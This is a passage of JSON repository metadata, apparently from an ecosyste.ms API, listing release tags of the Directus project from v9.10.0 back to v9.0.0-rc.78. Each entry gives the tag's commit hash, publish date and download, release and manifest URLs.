arsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.10.0/manifests"},{"name":"v9.9.1","sha":"ed780aceba707c714e0b0aa01a953d141a5c800e","kind":"tag","published_at":"2022-04-22T16:21:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.9.1","html_url":"https://github.com/directus/directus/releases/tag/v9.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.9.1/manifests"},{"name":"v9.9.0","sha":"fb252ca4cef57de1aa8d1914db6bc85730902e81","kind":"tag","published_at":"2022-04-15T18:27:06.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.9.0","html_url":"https://github.com/directus/directus/releases/tag/v9.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.9.0/manifests"},{"name":"v9.8.0","sha":"2a6db01c42dd1d7524962e7153d1d7e1bd63fb2f","kind":"tag","published_at":"2022-04-01T18:41:09.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.8.0","html_url":"https://github.com/directus/directus/releases/tag/v9.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.8.0/manifests"},{"name":"v9.7.1","sha":"7b1594727686ab8bfac416d851b1f0063f38f893","kind":"tag","published_at":"2022-03-23T18:50:52.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.7.1","html_url":"https://github.com/directus/directus/releases/tag/v9.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.7.1/manifests"},{"name":"v9.7.0","sha":"c1da41d6719d4efdc5d0196019fb7b2c6672c575","kind":"tag","published_at":"2022-03-18T20:34:36.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.7.0","html_url":"https://github.com/directus/directus/releases/tag/v9.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.7.0/manifests"},{"name":"v9.6.0","sha":"eba2576227d493f87160973238bddadbf23bbe01","kind":"tag","published_at":"2022-03-05T01:25:44.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.6.0","html_url":"https://github.com/directus/directus/releases/tag/v9.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.6.0/manifests"},{"name":"v9.5.2","sha":"47a5da78fb5e31d1657c25103adcb63542396b61","kind":"tag","published_at":"2022-02-18T16:45:08.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.5.2","html_url":"https://github.com/directus/directus/releases/tag/v9.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.5.2/manifests"},{"name":"v9.5.1","sha":"c0c412d30b116bd38a2690b62463f775d37db79c","kind":"tag","published_at":"2022-02-04T01:41:50.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.5.1","html_url":"https://github.com/directus/directus/releases/tag/v9.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.5.1/manifests"},{"name":"v9.5.0","sha":"78a25fe9538dcd30452dc1a0889e720040c0596c","kind":"tag","published_at":"2022-01-24T20:53:30.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.5.0","html_url":"https://github.com/directus/directus/releases/tag/v9.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.5.0/manifests"},{"name":"v9.4.3","sha":"65bfe68b0c7993a1bd5b0daac0855265911313d0","kind":"tag","published_at":"2022-01-07T21:11:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.4.3","html_url":"https://github.com/directus/directus/releases/tag/v9.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.4.3/manifests"},{"name":"v9.4.2","sha":"1a5a9180ee6d0ad8f03076bc6e3cfdd62a0dd2f9","kind":"tag","published_at":"2021-12-31T02:11:33.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.4.2","html_url":"https://github.com/directus/directus/releases/tag/v9.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.4.2/manifests"},{"name":"v9.4.1","sha":"4991ba858bdde8bdf03aee475d77a218da6e46ab","kind":"tag","published_at":"2021-12-29T01:17:21.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.4.1","html_url":"https://github.com/directus/directus/releases/tag/v9.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.4.1/manifests"},{"name":"v9.4.0","sha":"a47b9cec0f24a7585108744b3c816bfc620297c4","kind":"tag","published_at":"2021-12-24T03:46:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.4.0","html_url":"https://github.com/directus/directus/releases/tag/v9.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.4.0/manifests"},{"name":"v9.3.0","sha":"4b444baf5b73467a74f6d57c33277146bc86285c","kind":"tag","published_at":"2021-12-16T23:48:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.3.0","html_url":"https://github.com/directus/directus/releases/tag/v9.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.3.0/manifests"},{"name":"v9.2.2","sha":"546d525175c7ecc6ac9c235b4ebf77a1ae209e10","kind":"tag","published_at":"2021-12-10T20:53:09.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.2.2","html_url":"https://github.com/directus/directus/releases/tag/v9.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.2.2/manifests"},{"name":"v9.2.1","sha":"1d4e9c425c10bcdc5831ae63c1bd03649648eb5e","kind":"tag","published_at":"2021-12-06T19:31:02.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.2.1","html_url":"https://github.com/directus/directus/releases/tag/v9.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.2.1/manifests"},{"name":"v9.2.0","sha":"776c105aacfda559a1ebf49cb2220599652f6c48","kind":"tag","published_at":"2021-12-03T21:16:39.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.2.0","html_url":"https://github.com/directus/directus/releases/tag/v9.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.2.0/manifests"},{"name":"v9.1.2","sha":"9bf033c18dd5bdf6fe4058d915083fd5ca393b05","kind":"tag","published_at":"2021-11-25T17:36:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.1.2","html_url":"https://github.com/directus/directus/releases/tag/v9.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.1.2/manifests"},{"name":"v9.1.1","sha":"5d3a630fe655e4a4373394f049b3d9e8f1efc0dd","kind":"tag","published_at":"2021-11-25T02:09:23.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.1.1","html_url":"https://github.com/directus/directus/releases/tag/v9.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.1.1/manifests"},{"name":"v9.1.0","sha":"7a1c534b36714a721b9f9df52d51f7f74ef1dada","kind":"tag","published_at":"2021-11-24T22:56:26.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.1.0","html_url":"https://github.com/directus/directus/releases/tag/v9.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.1.0/manifests"},{"name":"v9.0.1","sha":"ba72d2cfd040f7f0db282ccac006f36df6f05058","kind":"tag","published_at":"2021-11-11T21:45:32.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.1","html_url":"https://github.com/directus/directus/releases/tag/v9.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.1/manifests"},{"name":"v9.0.0","sha":"c95add08ef1386cab6e54546f03d541d889148ed","kind":"tag","published_at":"2021-11-05T02:03:11.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0/manifests"},{"name":"v9.0.0-rc.101","sha":"37cf80e0fe1320610ffc0b4da9411ef51bd46afb","kind":"tag","published_at":"2021-11-03T23:29:42.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.101","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.101","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.101","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.101","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.101/manifests"},{"name":"v9.0.0-rc.100","sha":"41abc239221c0973ca1f83457be14f21155dc52d","kind":"commit","published_at":"2021-10-29T21:26:27.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.100","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.100","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.100","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.100","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.100/manifests"},{"name":"v9.0.0-rc.99","sha":"7c88f038844d6a64e36c9848fe95074aae7fdd0c","kind":"tag","published_at":"2021-10-21T23:52:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.99","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.99","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.99","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.99","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.99/manifests"},{"name":"v9.0.0-rc.98","sha":"0dd0e1b1c1ccac3a502dc6ed9f81ecd881cd650f","kind":"tag","published_at":"2021-10-16T00:13:08.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.98","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.98","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.98","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.98","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.98/manifests"},{"name":"v9.0.0-rc.97","sha":"392d8bd1df74452cd7e88111bfa5a540f04be382","kind":"tag","published_at":"2021-10-15T01:47:51.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.97","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.97","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.97","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.97","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.97/manifests"},{"name":"v9.0.0-rc.96","sha":"435cc0cc67e364b1a30605bddb827da68d63b561","kind":"tag","published_at":"2021-10-07T22:39:55.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.96","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.96","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.96","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.96","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.96/manifests"},{"name":"v9.0.0-rc.95","sha":"afe7b15990e62fb8109469349071b79f2c69cde6","kind":"tag","published_at":"2021-09-27T22:58:22.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.95","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.95","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.95","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.95","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.95/manifests"},{"name":"v9.0.0-rc.94","sha":"7e41860cbf543c7fb6e104c76e3b01817e1aecf4","kind":"tag","published_at":"2021-09-22T19:53:25.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.94","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.94","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.94","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.94","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.94/manifests"},{"name":"v9.0.0-rc.93","sha":"61a368523b1fc4968ca456a610bc7de10be46dc1","kind":"tag","published_at":"2021-09-16T22:09:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.93","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.93","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.93","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.93","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.93/manifests"},{"name":"v9.0.0-rc.92","sha":"a6e88183e99847c96c956add94a148965b9e50be","kind":"tag","published_at":"2021-09-03T01:53:24.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.92","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.92","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.92","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.92","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.92/manifests"},{"name":"v9.0.0-rc.91","sha":"8f943a34f9de168371b520bf3c6e9992c827936e","kind":"tag","published_at":"2021-08-23T20:08:07.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.91","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.91","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.91","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.91","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.91/manifests"},{"name":"v9.0.0-rc.90","sha":"9f4e855826860f91eb4c2497783268d757ebf879","kind":"tag","published_at":"2021-08-11T17:46:50.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.90","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.90","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.90","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.90","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.90/manifests"},{"name":"v9.0.0-rc.89","sha":"96be02701b36fcdb87f441c090a8dd3f984db406","kind":"commit","published_at":"2021-08-09T21:43:37.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.89","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.89","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.89","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.89","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.89/manifests"},{"name":"v9.0.0-rc.88","sha":"2a324dd40d58dbf3b0d18cf7bb3dd9cf881bc660","kind":"tag","published_at":"2021-08-02T20:54:03.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.88","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.88","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.88","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.88","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.88/manifests"},{"name":"v9.0.0-rc.87","sha":"37575e4849d3a70c426e6cadd1c716848e9cecf4","kind":"tag","published_at":"2021-07-28T21:16:00.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.87","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.87","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.87","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.87","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.87/manifests"},{"name":"v9.0.0-rc.86","sha":"3390430c04973aa5b7f4c56f4d04a546b04c15cd","kind":"tag","published_at":"2021-07-26T22:20:53.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.86","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.86","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.86","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.86","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.86/manifests"},{"name":"v9.0.0-rc.85","sha":"f96eeb2c83eabd356191e2c3397f27b721ea4900","kind":"tag","published_at":"2021-07-15T19:22:54.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.85","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.85","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.85","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.85","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.85/manifests"},{"name":"v9.0.0-rc.84","sha":"f60deb9ca2f44ecd3f2bbaeaff9911746469f56d","kind":"commit","published_at":"2021-07-15T18:23:48.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.84","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.84","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.84","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.84","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.84/manifests"},{"name":"v9.0.0-rc.83","sha":"04976eb13f8865d1d707845abc84353581573f1e","kind":"tag","published_at":"2021-06-29T20:18:58.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.83","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.83","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.83","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.83","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.83/manifests"},{"name":"v9.0.0-rc.82","sha":"f46d7e4dd6a40d13a1889f6fce53a2373c4da8a2","kind":"tag","published_at":"2021-06-28T23:32:22.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.82","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.82","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.82","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.82","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.82/manifests"},{"name":"v9.0.0-rc.81","sha":"a469bb728fb60ec8d3f23fb35f59470a441a7aa5","kind":"commit","published_at":"2021-06-27T02:09:40.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.81","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.81","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.81","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.81","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.81/manifests"},{"name":"v9.0.0-rc.80","sha":"465c10d4c7d1d37a501a09eeca475029aa00cd50","kind":"tag","published_at":"2021-06-23T02:00:56.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.80","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.80","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.80","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.80","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.80/manifests"},{"name":"v9.0.0-rc.79","sha":"5e0328fea0a11fe2da51aaa4dc1bbba66c7ad845","kind":"tag","published_at":"2021-06-23T01:08:49.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.79","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.79","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.79","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.79","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.79/manifests"},{"name":"v9.0.0-rc.78","sha":"93b7aeb788a348592f514c674acde6ff627c8aac","kind":"tag","published_at":"2021-06-21T21:56:35.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v9.0.0-rc.78","html_url":"https://github.com/directus/directus/releases/tag/v9.0.0-rc.78","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v9.0.0-rc.78","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v9.0.0-rc.78","manifests_url":"